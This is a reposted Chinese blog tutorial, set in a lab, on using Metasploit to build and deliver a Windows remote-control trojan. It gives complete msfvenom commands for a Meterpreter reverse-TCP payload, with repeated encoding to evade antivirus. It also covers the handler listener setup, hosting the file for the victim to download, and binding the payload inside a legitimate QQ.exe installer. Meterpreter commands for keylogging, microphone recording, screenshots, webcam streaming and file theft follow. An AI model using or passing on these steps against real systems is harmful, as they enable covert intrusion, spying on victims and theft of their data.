MSF生成木马实现远控

思路

使用kali工具msf制作exe木马文件靶机通过点击开启后门进行监听

原理

靶机执行木马文件后,向攻击机中发送信息建立session会话,本机打开监听状态,收到信息后进行操作

实验前准备

csharp;gutter:true; 攻击ip:192.168.200.130 ​被攻击ip:192.168.200.101</p> <pre><code> ## 步骤 msfvenom是msfpayload,msfencode的结合体,它的优点是单一,命令行,和效率.利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线 ### 1、生成木马 </code></pre> <p>msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.200.130 LPORT=8088 -b "\x00" -i 10 -f exe -o /var/www/html/test.exe</p> <pre><code> ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710170358566-389525163.png) 参数含义 </code></pre> <p>-a x86 使用x86框架 --platform windows 运行平台为windows -p windows/meterpreter/reverse_tcp 指定payload LHOST=192.168.200.130 LPORT=8088 本地IP和监听端口 -b "\x00" 去掉坏字符 -i 10 编码10次,提高免杀概率 -f exe 木马文件格式 -o /var/www/html/test.exe 输出路径</p> <pre><code> 比如想查看 /meterpreter/reverse_tcp支持什么平台、哪些选项,可以使用 </code></pre> <p>msfvenom -p windows/meterpreter/reverse_tcp --list-options</p> <pre><code> ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710183724129-284533807.png) 可查看所有payloads </code></pre> <p>msfvenom --list payloads</p> <pre><code> ### 2、利用msf攻击 </code></pre> <p>msfconsole //启动 ​ use exploit/multi/handler //开启监听 ​ set payload windows/meterpreter/reverse_tcp //设置payload,选择漏洞利用模块 ​ set lhost 192.168.200.130 //本地IP,即攻击IP ​ set lport 8088 //监听端口 ​ exploit //攻击</p> <pre><code> ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710171205962-199160075.png) ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710192426638-2054975334.png) ### 3、开启apache,受害者下载木马 此步骤就是模拟受害者从攻击方的网络下载木马,所以在日常生活中不要轻易下载来历不明的软件等,提高安全意识,从点滴做起。 (1)攻击机开启apache服务 </code></pre> <p>systemctl start apache2.service</p> <pre><code> ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710171700011-662561465.png) (2)受害机下载运行木马 在浏览器中输入192.168.20.101/test.exe下载木马 ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710171939711-1351882427.png) ### 4、木马上线 当被攻击的机器点击生成的test.exe木马时,即可以监听到木马上线 ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710172040380-590303245.png) 输入help可以查询常用的命令 ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710172906585-564100518.png) 几个简单的命令,由于我是在虚拟机上运行的,虚拟机上面没有摄像头,所以没有成 ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710173009401-1369086901.png) 下面是常用命令: </code></pre> <p>getuid 查看当前权限 getsystem 尝试获取system权限 shell 获取当前权限shell会话 ps 列出正在运行的进程 pkill 按名称终止进程 kill 按PID终止进程 reboot 重启 shutdown 关机 upload 上传文件(格式参考:upload /root/1.txt -> d:/) download 下载文件(格式参考:download c:/1.txt -> /root/) keyboard_send 令对方键盘输入(参考格式:keyboard_send ilovecc)</p> <h1>请按以下顺序执行</h1> <p>keyscan_start 开始捕获击键(开始键盘记录) keyscan_dump 转储按键缓冲(下载键盘记录) keyscan_stop 停止捕获击键(停止键盘记录)</p> <h1>操作完都会有文件保存在服务器,一般是存在/root目录下,msf会提示具体位置和名称,提到本机就可打开看</h1> <p>record_mic 麦克风录制(格式参考:record_mic -d 13) screenshot 截图截取对方目前桌面的截图 webcam_snap 摄像头拍摄一张照片 webcam_stream 持续监控摄像头</p> <pre><code> 安卓和windows差不多,这里就不在赘述了。 ### 5、msf绑定软件制作木马 msf也可以绑定正常软件运行,在用户看来软件正常运行,但是这个软件后台同时偷偷启动木马程序,这里我将木马绑定到图片 查看编码类型,我们选择 x86/shikata_ga_nai编码 </code></pre> <p>msfvenom -l encoders</p> <pre><code> ![ MSF生成木马实现远控](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230605/2723702-20220710183014831-2021332947.png) 指定捆绑参数 -x /root/share/QQ.exe </code></pre> <p>msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.200.130 LPORT=8088 -e x86/shikata_ga_nai -x /root/share/QQ.exe -b "\x00" -i 10 -f exe -o /var/www/html/test2.exe

Original: https://www.cnblogs.com/ggc-gyx/p/16463566.html
Author: ʚɞ无恙
Title: MSF生成木马实现远控

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/608902/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • MySQL注入 利用系统读、写文件

    MySQL能读写系统文件的前提 不同系统、不同的数据库版本有细微差异,以下实验在Windows10和Mysql 5.7.26下操作; 1.拥有该File的读权限 、 该目录写的权限…

    Linux 2023年6月6日
    0114
  • SlugRelatedField字段

    该字段用于外键字段该字段在序列化的时候多用于反向查询,在反序列化的时候用于接收关联表的唯一字段来生成该关联对象eg: 序列化 class PublishListSerializer…

    Linux 2023年6月14日
    0101
  • redis 基于SpringBoot Reids 的工具类

    redis 基于SpringBoot Reids 的工具类 package com.mhy.springredis.utils; import org.springframewor…

    Linux 2023年6月7日
    0119
  • USB配置工具CH34xSerCfg使用说明

    一、概述 CH34xSerCfg配置软件用于WCH USB转串口系列芯片进行USB参数配置,通过该工具可对芯片的厂商识别码VID、产品识别码PID、最大电流值、BCD版本号、厂商信…

    Linux 2023年6月7日
    088
  • 解决JSP文件在浏览器访问中文乱码问题

    指定编码类型为支持中文的编码1.添加 第二句是设置输出到浏览器,浏览器选择的编码方式加上这两句已后页面访问将不再是乱码了. Original: https://www.cnblog…

    Linux 2023年6月7日
    092
  • [云原生]Kubernetes-Pod控制器详解(第6章)

    一、Pod控制器介绍 二、ReplicaSet(RS) 三、Deployment(Deploy) 四、Horizontal Pod Autoscaler(HPA) 五、Daemon…

    Linux 2023年6月13日
    0123
  • 巧用 JuiceFS Sync 命令跨云迁移和同步数据

    近年来,云计算已成为主流,企业从自身利益出发,或是不愿意被单一云服务商锁定,或是业务和数据冗余,或是出于成本优化考虑,会尝试将部分或者全部业务从线下机房迁移到云或者从一个云平台迁移…

    Linux 2023年6月14日
    0109
  • 支付宝沙箱

    支付宝支付 ## 支付宝的沙箱环境 – [密钥生成文档](https://opendocs.alipay.com/open/291/105971): 公钥(给别人,方便其他人验证某…

    Linux 2023年6月8日
    0103
  • 【Example】C++ 标准库智能指针 unique_ptr 与 shared_ptr

    【概念直接搬运Docs】C 样式编程的一个主要 bug 类型是内存泄漏。 泄漏通常是由于为分配的内存的调用失败引起的 delete new 。 现代 C++ 强调”资源…

    Linux 2023年6月13日
    0134
  • 顺序栈

    #pragma once #ifndef _SEQSTACK_ #define _SEQSTACK_ #include using namespace std; typedef i…

    Linux 2023年6月7日
    084
  • spring-data-redis 2.0 的使用

    在使用Spring Boot2.x运行Redis时,发现百度不到顺手的文档,搞通后发现其实这个过程非常简单和简洁,觉得有必要拿出来分享一下。 Spring Boot2.x 不再使用…

    Linux 2023年5月28日
    0118
  • linux学习之搭建Apache 服务器

    本实验的主要任务是在CentOS操作系统中搭建Apache 服务器,练习文档根目录、首页文件、相关访间控制规则的配置。 ‎【实验目的】 ‎(1) 理解Apache 服务器主配置文件…

    Linux 2023年6月13日
    0101
  • 虚拟机的NAT网络配置

    写在前面: 本篇文章介绍如何使虚拟机使用VMware的NAT网络模式。NAT,即Network Address Translation的缩写,在NAT模式下虚拟机被接入到物理机的虚…

    Linux 2023年6月8日
    0129
  • JAVA反射机制详解

    作者:小牛呼噜噜 | https://xiaoniuhululu.com计算机内功、JAVA底层、面试相关资料等更多精彩文章在公众号「小牛呼噜噜 」 何为反射? 实例的创建 .cl…

    Linux 2023年6月6日
    0148
  • 十二、启动流程

    启动流程介绍 现代计算机系统启动是硬件与软件复杂组合。从定义的端点开始,到拥有登录提示符的运行中系统,需要大量的硬件和软件配合工作。以下列表从较高层面概述了启动系统时所涉及的任务。…

    Linux 2023年6月7日
    0101
  • ansible-复制模块

    简介:临时的,在ansible中是指需要快速执行的单条命令,并且不需要保存的命令。对于复杂的命令则为 playbook。 1、复制模块 可在终端执行ansible-doc copy…

    Linux 2023年6月6日
    0115
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球